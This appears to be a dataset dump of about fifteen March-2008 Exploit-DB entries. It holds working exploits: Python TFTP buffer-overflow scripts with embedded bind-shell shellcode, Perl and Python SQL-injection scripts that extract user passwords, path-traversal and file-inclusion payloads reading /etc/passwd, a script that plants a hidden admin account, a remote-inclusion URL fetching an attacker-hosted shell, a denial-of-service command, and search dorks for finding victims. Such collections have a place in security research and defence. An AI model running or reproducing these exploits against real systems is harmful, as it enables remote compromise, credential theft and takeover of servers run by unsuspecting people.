QLWD/code_shield huggingface dataset:
标题: Quick TFTP Server Pro 2.1 - Remote Overflow (SEH) EDB-ID: 5315 CVE: 2008-1610 类型: REMOTE 平台: WINDOWS 发布日期: 2008-03-26 漏洞利用脚本: #!/usr/bin/python
# Quick TFTP Pro 2.1 SEH Overflow (0day)
# Tested on Windows XP SP2. 
# Coded by Mati Aharoni
# muts..at..offensive-security.com
# http://www.offensive-security.com/0day/quick-tftp-poc.py.txt
#########################################################
# bt ~ # quickftp.py
# [*] Quick TFTP Pro 2.1 SEH Overflow (0day)
# [*] http://www.offensive-security.com
# [*] Sending evil packet, ph33r
# [*] Check port 4444 for bindshell
# bt ~ # nc -v 172.16.167.130 4444
# (UNKNOWN) [172.16.167.130] 4444 (krb524) open
# Microsoft Windows XP [Version 5.1.2600]
# (C) Copyright 1985-2001 Microsoft Corp.
#
# C:\Documents and Settings\Administrator>
##########################################################
import socket
import sys

print "[*] Quick TFTP Pro 2.1 SEH Overflow (0day)"
print "[*] http://www.offensive-security.com"

host = '172.16.167.134'
port = 69

try:
   s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
except:
   print "socket() failed"
   sys.exit(1)

filename = "pwnd"

# windows/shell_bind_tcp - 317 bytes
# http://www.metasploit.com
# EXITFUNC=thread, LPORT=4444

shell=("\xfc\x6a\xeb\x4d\xe8\xf9\xff\xff\xff\x60\x8b\x6c\x24\x24\x8b"
"\x45\x3c\x8b\x7c\x05\x78\x01\xef\x8b\x4f\x18\x8b\x5f\x20\x01"
"\xeb\x49\x8b\x34\x8b\x01\xee\x31\xc0\x99\xac\x84\xc0\x74\x07"
"\xc1\xca\x0d\x01\xc2\xeb\xf4\x3b\x54\x24\x28\x75\xe5\x8b\x5f"
"\x24\x01\xeb\x66\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb\x03\x2c\x8b"
"\x89\x6c\x24\x1c\x61\xc3\x31\xdb\x64\x8b\x43\x30\x8b\x40\x0c"
"\x8b\x70\x1c\xad\x8b\x40\x08\x5e\x68\x8e\x4e\x0e\xec\x50\xff"
"\xd6\x66\x53\x66\x68\x33\x32\x68\x77\x73\x32\x5f\x54\xff\xd0"
"\x68\xcb\xed\xfc\x3b\x50\xff\xd6\x5f\x89\xe5\x66\x81\xed\x08"
"\x02\x55\x6a\x02\xff\xd0\x68\xd9\x09\xf5\xad\x57\xff\xd6\x53"
"\x53\x53\x53\x53\x43\x53\x43\x53\xff\xd0\x66\x68\x11\x5c\x66"
"\x53\x89\xe1\x95\x68\xa4\x1a\x70\xc7\x57\xff\xd6\x6a\x10\x51"
"\x55\xff\xd0\x68\xa4\xad\x2e\xe9\x57\xff\xd6\x53\x55\xff\xd0"
"\x68\xe5\x49\x86\x49\x57\xff\xd6\x50\x54\x54\x55\xff\xd0\x93"
"\x68\xe7\x79\xc6\x79\x57\xff\xd6\x55\xff\xd0\x66\x6a\x64\x66"
"\x68\x63\x6d\x89\xe5\x6a\x50\x59\x29\xcc\x89\xe7\x6a\x44\x89"
"\xe2\x31\xc0\xf3\xaa\xfe\x42\x2d\xfe\x42\x2c\x93\x8d\x7a\x38"
"\xab\xab\xab\x68\x72\xfe\xb3\x16\xff\x75\x44\xff\xd6\x5b\x57"
"\x52\x51\x51\x51\x6a\x01\x51\x51\x55\x51\xff\xd0\x68\xad\xd9"
"\x05\xce\x53\xff\xd6\x6a\xff\xff\x37\xff\xd0\x8b\x57\xfc\x83"
"\xc4\x64\xff\xd6\x52\xff\xd0\x68\xef\xce\xe0\x60\x53\xff\xd6"
"\xff\xd0")

mode = "A"*1019+"\xeb\x08\x90\x90"+"\x58\x14\xd3\x74"+"\x90"*16+shell

muha = "\x00\x02" + filename+ "\0" + mode + "\0" 

print "[*] Sending evil packet, ph33r"
s.sendto(muha, (host, port))
print "[*] Check port 4444 for bindshell"

# milw0rm.com [2008-03-26] URL: https://www.exploit-db.com/exploits/5315
标题: e107 Plugin My_Gallery 2.3 - Arbitrary File Download EDB-ID: 5308 CVE: 2008-1702 类型: WEBAPPS 平台: PHP 发布日期: 2008-03-25 漏洞利用脚本: e107 My_Gallery Plugin Arbitrary File Download Vulnerability

Release Date: 2008-03-25
Critical: Moderately critical
Impact: Exposure of system information, Exposure of sensitive information
Where: From remote
Solution Status: Unpatched
Software: My_Gallery v2.3 (plugin for e107)
Link: http://plugins.e107.org/e107_plugins/psilo/psilo.php?artifact.208

Description:

A photo gallery for e107, powered by Highslide JS script. with random
gallery menu and navigation menu.

+ User interface for uploads images
+ Pre-moderation users download
+ Control Panel, can edit the name and description, delete and move
+ New comment system, it is now the most opulent gallery
+ New Front page
+ Added BBcode and a button

Vulnerability:
Jerome Athias has discovered a vulnerability in My_Gallery plugin for
e107, which can be exploited by malicious people to disclose sensitive
information.

The vulnerability is caused due to an input validation error in
dload.php when processing arguments passed to the "file" parameter. This
can be exploited to download arbitrary files from the affected system.

The vulnerability is confirmed in version 2.3. Other versions may also
be affected.

Solution:
Edit the source code to ensure that input is properly validated.

Dork: inurl:"e107_plugins/my_gallery"

Provided and/or discovered by:
Jerome Athias, JA-PSI
http://www.ja-psi.fr

Other References:
https://www.securinfos.info


------------------------------------------------------------------
PoC:
http://target.com/e107_plugins/my_gallery/dload.php?file=dload.php

File is downloaded as a .jpg file but the PHP source code can be
retrieved using a text editor.

# milw0rm.com [2008-03-25] URL: https://www.exploit-db.com/exploits/5308
标题: TFTP Server 1.4 - ST Buffer Overflow EDB-ID: 5314 CVE: 2008-1611 类型: REMOTE 平台: WINDOWS 发布日期: 2008-03-26 漏洞利用脚本: #!/usr/bin/python
# TFTP Server for Windows V1.4 ST (0day)
# http://sourceforge.net/projects/tftp-server/
# Tested on Windows Vista SP0.
# Coded by Mati Aharoni
# muts..at..offensive-security.com
# http://www.offensive-security.com/0day/sourceforge-tftpd.py.txt
##################################################################
# bt ~ # sourceforge-tftpd.py
# [*] TFTP Server for Windows V1.4 ST (0day)
# [*] http://www.offensive-security.com
# [*] Sending evil packet, ph33r
# [*] Check port 4444 for bindshell
# bt ~ # nc -v 172.16.167.134 4444
# (UNKNOWN) [172.16.167.134] 4444 (krb524) open
# Microsoft Windows [Version 6.0.6000]
# Copyright (c) 2006 Microsoft Corporation.  All 
# rights reserved.
#
# C:\Windows\system32>
##################################################################

import socket
import sys

print "[*] TFTP Server for Windows V1.4 ST (0day)"
print "[*] http://www.offensive-security.com"

host = '172.16.167.134'
port = 69

try:
   s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
except:
   print "socket() failed"
   sys.exit(1)

# Jump back shellcode
sc = "\x6a\x05\x59\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x16\x91\x9c"
sc +="\x30\x83\xeb\xfc\xe2\xf4\xcf\x7f\x45\x44\x32\x65\xc5\xb0\xd7\x9b"
sc +="\x0c\xce\xdb\x6f\x51\xcf\xf7\x91\x9c\x30"

# windows/shell_bind_tcp - 317 bytes
# http://www.metasploit.com
# EXITFUNC=seh, LPORT=4444

shell=("\xfc\x6a\xeb\x4d\xe8\xf9\xff\xff\xff\x60\x8b\x6c\x24\x24\x8b"
"\x45\x3c\x8b\x7c\x05\x78\x01\xef\x8b\x4f\x18\x8b\x5f\x20\x01"
"\xeb\x49\x8b\x34\x8b\x01\xee\x31\xc0\x99\xac\x84\xc0\x74\x07"
"\xc1\xca\x0d\x01\xc2\xeb\xf4\x3b\x54\x24\x28\x75\xe5\x8b\x5f"
"\x24\x01\xeb\x66\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb\x03\x2c\x8b"
"\x89\x6c\x24\x1c\x61\xc3\x31\xdb\x64\x8b\x43\x30\x8b\x40\x0c"
"\x8b\x70\x1c\xad\x8b\x40\x08\x5e\x68\x8e\x4e\x0e\xec\x50\xff"
"\xd6\x66\x53\x66\x68\x33\x32\x68\x77\x73\x32\x5f\x54\xff\xd0"
"\x68\xcb\xed\xfc\x3b\x50\xff\xd6\x5f\x89\xe5\x66\x81\xed\x08"
"\x02\x55\x6a\x02\xff\xd0\x68\xd9\x09\xf5\xad\x57\xff\xd6\x53"
"\x53\x53\x53\x53\x43\x53\x43\x53\xff\xd0\x66\x68\x11\x5c\x66"
"\x53\x89\xe1\x95\x68\xa4\x1a\x70\xc7\x57\xff\xd6\x6a\x10\x51"
"\x55\xff\xd0\x68\xa4\xad\x2e\xe9\x57\xff\xd6\x53\x55\xff\xd0"
"\x68\xe5\x49\x86\x49\x57\xff\xd6\x50\x54\x54\x55\xff\xd0\x93"
"\x68\xe7\x79\xc6\x79\x57\xff\xd6\x55\xff\xd0\x66\x6a\x64\x66"
"\x68\x63\x6d\x89\xe5\x6a\x50\x59\x29\xcc\x89\xe7\x6a\x44\x89"
"\xe2\x31\xc0\xf3\xaa\xfe\x42\x2d\xfe\x42\x2c\x93\x8d\x7a\x38"
"\xab\xab\xab\x68\x72\xfe\xb3\x16\xff\x75\x44\xff\xd6\x5b\x57"
"\x52\x51\x51\x51\x6a\x01\x51\x51\x55\x51\xff\xd0\x68\xad\xd9"
"\x05\xce\x53\xff\xd6\x6a\xff\xff\x37\xff\xd0\x8b\x57\xfc\x83"
"\xc4\x64\xff\xd6\x52\xff\xd0\x68\xf0\x8a\x04\x5f\x53\xff\xd6"
"\xff\xd0")

filename = "\x90"*860 + shell + "\x90"*14 + sc + "\xeb\xd0\x90\x90" + "\x2b\x0e\x41"

mode = "netascii"

muha = "\x00\x02" + filename+ "\0" + mode+ "\0" 

print "[*] Sending evil packet, ph33r"
s.sendto(muha, (host, port))
print "[*] Check port 4444 for bindshell"

# milw0rm.com [2008-03-26] URL: https://www.exploit-db.com/exploits/5314
标题: Joomla! Component Alphacontent 2.5.8 - 'id' SQL Injection EDB-ID: 5310 CVE: 2008-1559 类型: WEBAPPS 平台: PHP 发布日期: 2008-03-25 漏洞利用脚本: ##########################################
#
# [ Joomla Component com_alphacontent SQL Injection ]
#
##########################################
[~] Vulnerability found by: cO2 [ Algeria Security Crew ]
[~] Contact: c02[at]hotmail.de
[~] Website: http://www.dzw0rm.ch
[~] Greetings: to all hackers DZ
##########################################
[~] ScriptName : 'Joomla'
[~] ModuleName : 'AlphaContent'
[~]  Version() : '2.5.8 '
###########################################
#
# DORK 1 :  inurl: "com_alphacontent"
#
# DORK 2 : "AlphaContent 2.5.8 Â© 2005-2008 - visualclinic.fr"
#
###########################################
[+]Exploit :
 
index.php?option=com_alphacontent&section=6&cat=15&task=view&id=-999999/**/union/**/select/**/1,concat(username,0x3e,password),3,4,user(),user(),user(),user(),user(),user(),user(),user(),user(),user(),user(),user(),user(),user(),user(),user(),user(),user(),user(),user(),user(),user(),user(),user(),user(),user(),user(),user(),user(),user(),user(),user(),user(),user(),39/**/from/**/jos_users/*
###########################################
[+] : you can see the password in 'Title'
###########################################

side note:
  <name>alphacontent</name>
  <creationDate>25 Jul 2007</creationDate>
  <author>Bernard Gilly</author>
  <copyright>This component is released under the GNU/GPL License.</copyright>
  <authorEmail>contact@visualclinic.fr</authorEmail>

  <authorUrl>www.visualclinic.fr</authorUrl>
  <version>2.5.8</version>
  <description>Directory component with alphabetical indexes for Joomla's Content</description>

  <name>alphacontent</name>
  <creationDate>16 Sept 2006</creationDate>
  <author>Bernard Gilly</author>
  <copyright>This component is released under the GNU/GPL License.</copyright>
  <authorEmail>contact@visualclinic.fr</authorEmail>

  <authorUrl>www.visualclinic.fr</authorUrl>
  <version>2.5.4</version>
  <description>Directory component and alphabetical indexes for Mambo/Joomla's Content</description>

# milw0rm.com [2008-03-25] URL: https://www.exploit-db.com/exploits/5310
标题: HIS-Webshop - 'his-webshop.pl t' Remote File Disclosure EDB-ID: 5304 CVE: 2008-1541 类型: WEBAPPS 平台: CGI 发布日期: 2008-03-24 漏洞利用脚本: HIS-Webshop is a shopping-system written in Perl by www.shoppark.de
The script doesnÂ´t check the "t"-parameter.

Example:
http://server.com/cgi-bin/his-webshop.pl?t=../../../../../../../../etc/passwd%00

<< Greetz Zero X >>

# milw0rm.com [2008-03-24] URL: https://www.exploit-db.com/exploits/5304
标题: phpBB Module XS-Mod 2.3.1 - Local File Inclusion EDB-ID: 5301 CVE: 2008-1512 类型: WEBAPPS 平台: PHP 发布日期: 2008-03-24 漏洞利用脚本: ..%%%%....%%%%...%%..%%...........%%%%...%%%%%...%%%%%%..%%...%%.
          .%%......%%..%%..%%..%%..........%%..%%..%%..%%..%%......%%...%%.
          ..%%%%...%%..%%..%%%%%%..%%%%%%..%%......%%%%%...%%%%....%%.%.%%.
          .....%%..%%..%%..%%..%%..........%%..%%..%%..%%..%%......%%%%%%%.
          ..%%%%....%%%%...%%..%%...........%%%%...%%..%%..%%%%%%...%%.%%..
          .................................................................

[+] Software: phpBB Module XS 2.3.1
[+] Vendor: http://www.phpbbmods.de
[+] Download: http://www.phpbbmods.de/downloads.php?view=detail&id=3

[~] Vulnerability found by: bd0rk
[~] Contact: bd0rk[at]hackermail.com
[~] Website: http://www.soh-crew.it.tt
[~] Greetings: str0ke, TheJT, maria

[+] Vulnerable Code in /admin/admin_xs.php line 33
[+] Code: include_once('xs_include.' . $phpEx);
[+] It is a local file inclusion

[+]Exploitcode:

use LWP::UserAgent;
use HTTP::Request;
use LWP::Simple;

print "\t\t+++++++++++++++++++++++++++++++++++++++++++++++++++\n\n";
print "\t\t+                                                 +\n\n";
print "\t\t+ phpBB Module XS 2.3.1 Local File Inclusion Expl +\n\n";
print "\t\t+                                                 +\n\n";
print "\t\t+++++++++++++++++++++++++++++++++++++++++++++++++++\n\n";

if (!$ARGV[0])
{
print "Usage: expl.pl [target]\n";
print "Example: expl.pl http://127.0.0.1/directory/admin/\n";
}

else
{
$web=$ARGV[0];
chomp $web;

$file="admin_xs.php?phpEx=../../../../../../../../../../../../../../../../etc/passwd%00";

my $web1=$web.$file;
print "$web1\n\n";
my $agent = LWP::UserAgent->new;
my $req=HTTP::Request->new(GET=>$web1);
$doc = $agent->request($req)->as_string;

if ($doc=~ /^root/moxis ){
print "This is vulnerable\n";
}
else
{
print "It is not vulnerable\n";
}
}

# milw0rm.com [2008-03-24] URL: https://www.exploit-db.com/exploits/5301
标题: PHP-Nuke Platinum 7.6.b.5 - 'dynamic_titles.php' SQL Injection EDB-ID: 5295 CVE: 2008-1680 2008-1539 类型: WEBAPPS 平台: PHP 发布日期: 2008-03-22 漏洞利用脚本: #!/usr/bin/perl
#Inphex
use LWP::UserAgent;
use LWP::Simple;
use IO::Socket;
use Switch;
#PHP-Nuke Platinum , Forums(Standart) - magic_quotes_gpc = OFF , SQL Injection
#nuke_users Structure:
#user_id  name  username  user_email  femail  user_website  user_avatar  user_regdate  user_icq  user_occ  user_from  user_interests  user_sig  user_viewemail  user_theme  user_aim  user_yim  user_msnm  user_password  storynum  umode  uorder  thold  noscore  bio  ublockon  ublock  theme  commentmax  counter  newsletter  user_posts  user_attachsig  user_rank  user_level  broadcast  popmeson  user_active  user_session_time  user_session_page  user_lastvisit  user_timezone  user_style  user_lang  user_dateformatuser_new_privmsg  user_unread_privmsg  user_last_privmsg  user_emailtime  user_allowhtml  user_allowbbcode  user_allowsmile  user_allowavatar  user_allow_pm  user_allow_viewonline  user_notify  user_notify_pm  user_popup_pm  user_avatar_type  user_sig_bbcode_uid user_actkey  user_newpasswd  last_ip  user_color_gc  user_color_gi  user_quickreply  user_allow_arcadepm  kick_ban  user_wordwrap  agreedtos  user_view_log  user_effects  user_privs  user_custitle  user_specmsg  user_items  user_trade  points  user_cash  last_seen_blocker  user_login_tries  user_last_login_try  user_gender  user_birthday  user_next_birthday_greeting
#Description:
#The file includes/dynamic_titles.php is vulnerable to SQL Injection - lines:  44 - 427
#What about PHP-Nukes' SQL Injection Protection?
#I could bypass its SQL Injection protection.
#If the file maintenance/index.php is on the server you can see if magic_quotes_gpc are turned off.
#You can of course edit the SQL Injection , file write is possible.
#
#Note: PHP-Nuke Platinum is very buggy,there are more bugs for sure(e.g. includes/nsbypass.php)
print "usage $0 -h localhost -p / -t nuke_users -c username -id 2\n\n";
$column = "username";
$table  = "nuke_users";
$uid    = 2;
%cm_n_ = ("-h" => "host","-p" => "path","-c" => "column","-t" => "table","-id" => "uid");

$a = 0;
foreach  (@ARGV) {
 $a++;
 while (($k, $v) = each(%cm_n_)) {
  if ($_ eq $k) {
   ${$v} = $ARGV[$a];
  }
 }
}
&getit("http://".$host.$path."modules.php?name=Forums&p=-1'union+select-1,".$column."+from+".$table."+where+user_id='".$uid."","<title>(.*?)<\/title>");
sub getit($$)
{
 $url = shift;
 $reg = shift;


 $ua = LWP::UserAgent->new;
    $urls = $url;
    $response = $ua->get($urls);
    $content = $response->content;

 if ($content=~m/$reg/) {
     ($f,$s,$l) = split(">>",$1);
     $s =~s/ Post //;
     print $column.":".$s."\n";
 }
}

# milw0rm.com [2008-03-22] URL: https://www.exploit-db.com/exploits/5295
标题: PowerBook 1.21 - 'index.php' Local File Inclusion EDB-ID: 5302 CVE: 2008-1537 类型: WEBAPPS 平台: PHP 发布日期: 2008-03-24 漏洞利用脚本: [DSECRG-08-019] Digital Security Research Group [DSecRG] Advisory


Application:                    PowerBook
Versions Affected:              1.21
Vendor URL:                     http://www.powerscripts.org/
Bug:                            Local File Include
Exploits:                       YES
Reported:                       01.02.2008
Vendor Response:                none
Solution:                       none
Date of Public Advisory:        24.03.2008
Author:                         Digital Security Research Group [DSecRG] (research [at] dsec [dot] ru)



Description
***********

Local File Include vulnerability found in script pb_inc/admincenter/index.php

Non-authentication user can directly access to this script.

To exploit this vulnerability REGISTER_GLOBALS option must be ON in php config file.


Code
****
#################################################

  if (!$page) {
     $page = "home";
  }

  $page .= ".inc.php";

  if(file_exists($page) == false) {
     echo "
        <div align=\"center\">Sorry, the page <b>$page</b> does not exist!</div>
     ";
  } else {
     include("$page");
  }

#################################################


Example:

http://[server]/[installdir]/pb_inc/admincenter/index.php?page=../../../../../../../../../../../../../etc/passwd%00



About
*****

Digital Security is leading IT security company in Russia, providing information security consulting, audit and penetration

testing services, risk analysis and ISMS-related services and certification for ISO/IEC 27001:2005 and PCI DSS standards.

Digital Security Research Group focuses on web application and database security problems with vulnerability reports, advisories

and whitepapers posted regularly on our website.

# milw0rm.com [2008-03-24] URL: https://www.exploit-db.com/exploits/5302
标题: Destar 0.2.2-5 - Arbitrary Add Admin EDB-ID: 5305 CVE: 2008-6539 类型: WEBAPPS 平台: PHP 发布日期: 2008-03-24 漏洞利用脚本: #
#!/usr/bin/python
#
# Exploit for destar 0.2.2-5, tested on Linux Debian
#
# Bug found and  exploit coded by a non root user
# http://nonroot.blogspot.com/
#
# Enero 2008
#
# This is a PoC, please use it just for learning how to exploit something
#
# use: $python ./exploit_code.py
#
# required: urllib, sys and re
#
import urllib
import sys,re
print "Target host: i.e: http://127.0.0.1:8080/"
host=raw_input("Target host ( include http and /): ")
user=raw_input("A normal user for destar:")
password=raw_input("A normal password for destar:")
null=""
print "trying ..."
loggin = urllib.urlencode({'name': user, 'pw': password})
attack = urllib.urlencode({'cfim': null, 'cfbs': null, 'cfto': null, 'dsec' : '45', 'vmim' : 'yes','vmbs' : 'yes', 'vmu' : 'yes', 'pin' : '1234,) ; CfgOptUser(name="theroot",secret="theroot",pc="200.75.43.187",phone="agent1",pbx="pbx1",level="4",language="en",) ; CfgPhoneSip(pbx="pbx1000",name="OpenBSD-Agent",secret="imsecure",ext= "2999",dtmfmode = "rfc2833",enablecallgroup = True,callgroup = "1",queues="queue1",panel= True' })
response= urllib.urlopen(host+"login/", loggin)
data=response.read()
lookup=re.compile("'User'").search
match=lookup(data)
if match:
 print user,"logged, now trying exploit"
else:
 print "Password invalid, try again."
 sys.exit(2)

response= urllib.urlopen(host+"user/settings/", attack)

if response:
 print "ok, attack was done, now i will try loggin like 'theroot'"
 user='theroot'
 password='theroot'
 loggin = urllib.urlencode({'name': user, 'pw': password})
 response= urllib.urlopen(host+"login/", loggin)
 data=response.read()
 lookup=re.compile("'Programmer'").search
 match=lookup(data)
 if  match:
         print "Exploit ok. try: ",host+"/user/info"
 else:
  print "Exploit failed, sorry, maybe you need that the sysadmin restart destar, be patient!"
  sys.exit(2)
else:
 print "Exploit failed, sorry, go and find some new bug or check this code and fix it!"
 sys.exit(2)

# milw0rm.com [2008-03-24] URL: https://www.exploit-db.com/exploits/5305
标题: Snircd 1.3.4 - 'send_user_mode' Denial of Service EDB-ID: 5306 CVE: 2008-1501 类型: DOS 平台: MULTIPLE 发布日期: 2008-03-24 漏洞利用脚本: Affected software
-----------------

ircu (upto and including 2.10.12.12)
snircd (upto and including 1.3.4)
and many other ircu derivatives

Vulnerability details
---------------------

send_user_mode in s_user.c does not check that the argument after a +r mode 
is present, if it is not than the NULL sentinel may be missed, causing the 
function to iterate over the boundary of the array.

One possible exploit:
/mode nickname i i i i i i i i i i i i i i i r r r r s

This won't work if there's another NULL directly after the first from the 
previous parsed command, if this is the case one can just append more modes 
or send some other junk to the ircd.

Resolution
----------

Upgrade to the very latest version of ircu/snircd.

Disclosure timeline
-------------------

2008-03-15: Vulnerability discovered by QuakeNet and reported to Undernet.
2008-03-15: Patches released.
2008-03-17: Patches applied to public servers.
2008-03-24: Public disclosure.

-- 
Chris Porter (slug on QuakeNet)
http://www.warp13.co.uk

# milw0rm.com [2008-03-24] URL: https://www.exploit-db.com/exploits/5306
标题: Cuteflow Bin 1.5.0 - 'login.php' Local File Inclusion EDB-ID: 5296 CVE: 2008-1493 类型: WEBAPPS 平台: PHP 发布日期: 2008-03-22 漏洞利用脚本: ###########################################
Cuteflow Bin v1.5.0 Local File Inclusion Vulnerability
##############################################
[+] Author : KnocKout
[+] Cyber-Warrior.org / Bug Researchers Group
[~] Special Thanks : CW ALL USERS / Mr.Freeman
==============================================
Script : Cuteflow Bin v1.5.0
Download : http://scripts.ringsworld.com/groupware-tools/cuteflow-bin-v150/
###############################################
Exploit : http://localsite/path/login.php?language=[LocalFile]
#################################################
Siyasi tercihimiz ne olursa olsun TÃ¼rkiye'nin geleceÄŸini karartmak isteyenlere dur diyoruz.
www.kapatmayahayir.com
#################################################

# milw0rm.com [2008-03-22] URL: https://www.exploit-db.com/exploits/5296
标题: XLPortal 2.2.4 - 'Search' SQL Injection EDB-ID: 5293 CVE: 2008-1509 类型: WEBAPPS 平台: PHP 发布日期: 2008-03-21 漏洞利用脚本: #!D:\Perl\Bin\Perl.exe

use LWP::UserAgent;

#
#   XLPortal <= 2.2.4 (search) Remote SQL Injection Exploit
#   Coded by cOndemned 
#   Greetz : irk4z, GregStar, NoRuless, Tomu, Happy B'day Avantura ;*
#

print "\r\n[~] XLPortal <= 2.2.4 (search) Remote SQL Injection Exploit";
print "\r\n[~] Coded by cOndemned [22.03.2008]\r\n";

if (@ARGV < 2) {
    print "[~] Usage : $0 <target_host> <pref>\r\n";    # default pref is xlp / xlportal
    exit();
}

$head = new LWP::UserAgent;
$head->agent("Opera/9.26 (Windows NT 5.1; U; pl)");

my $request = HTTP::Request->new(POST => $ARGV[0]."/index.php");


$buff = "%27+union+select+1%2Cconcat%28user%2C0x3a%2Cpassword%29+from+".$ARGV[1]."_users+%2F*";
$request->content_type('application/x-www-form-urlencoded');
$request->content("page=Szukaj&op=Wyszukaj&query=".$buff."&section_News=1&section_Download=1&s".
                  "ection_Links=1&section_Articles=1&exact=any&sort=alpha&=Rozpocznij+wyszukiw".
                  "anie");
$response = $head->request($request);

if (($response->content =~ /([a-zA-Z]+?):([0-9,a-f]{32})/)) {        
    print "[+] Login : $1\r\n";
    print "[+] Haslo : $2\r\n";
}
else {
    print "\r\n[~] This one isn't vulnerable, or bad data was given\r\n";
    exit();
}

# milw0rm.com [2008-03-21] URL: https://www.exploit-db.com/exploits/5293
标题: Joomla! Component custompages 1.1 - Remote File Inclusion EDB-ID: 5294 CVE: 2008-1505 类型: WEBAPPS 平台: PHP 发布日期: 2008-03-22 漏洞利用脚本: @ JOOmla Component custompages <= 1.0 Sql Remote file Inclusion


Author:Sniper456

Contact:Sniper456[attt]gmail.com

Greetss: My chilean people

Developer: Shawn Sandy

License:Other open source / Free license

Dork: 8=====B !           =)

**Bug:

http://www.target.com/index.php?option=com_custompages&cpage=URL

**Example

http://www.target.com/index.php?option=com_custompages&cpage=http://atackweeb.cl/colocoloshell.txt?

side note:

 <name>custompages</name>
 <creationDate>06/11/2006</creationDate>
 <author>Shawn Sandy</author>
 <copyright>Copyright 2006 - Shawn Sandy</copyright>
 <license>License</license>
 <authorEmail>shawnsandy04@gmail.com</authorEmail>
 <authorUrl>www.sstreamtv.com</authorUrl>
 <version>1.1</version>

# milw0rm.com [2008-03-22] URL: https://www.exploit-db.com/exploits/5294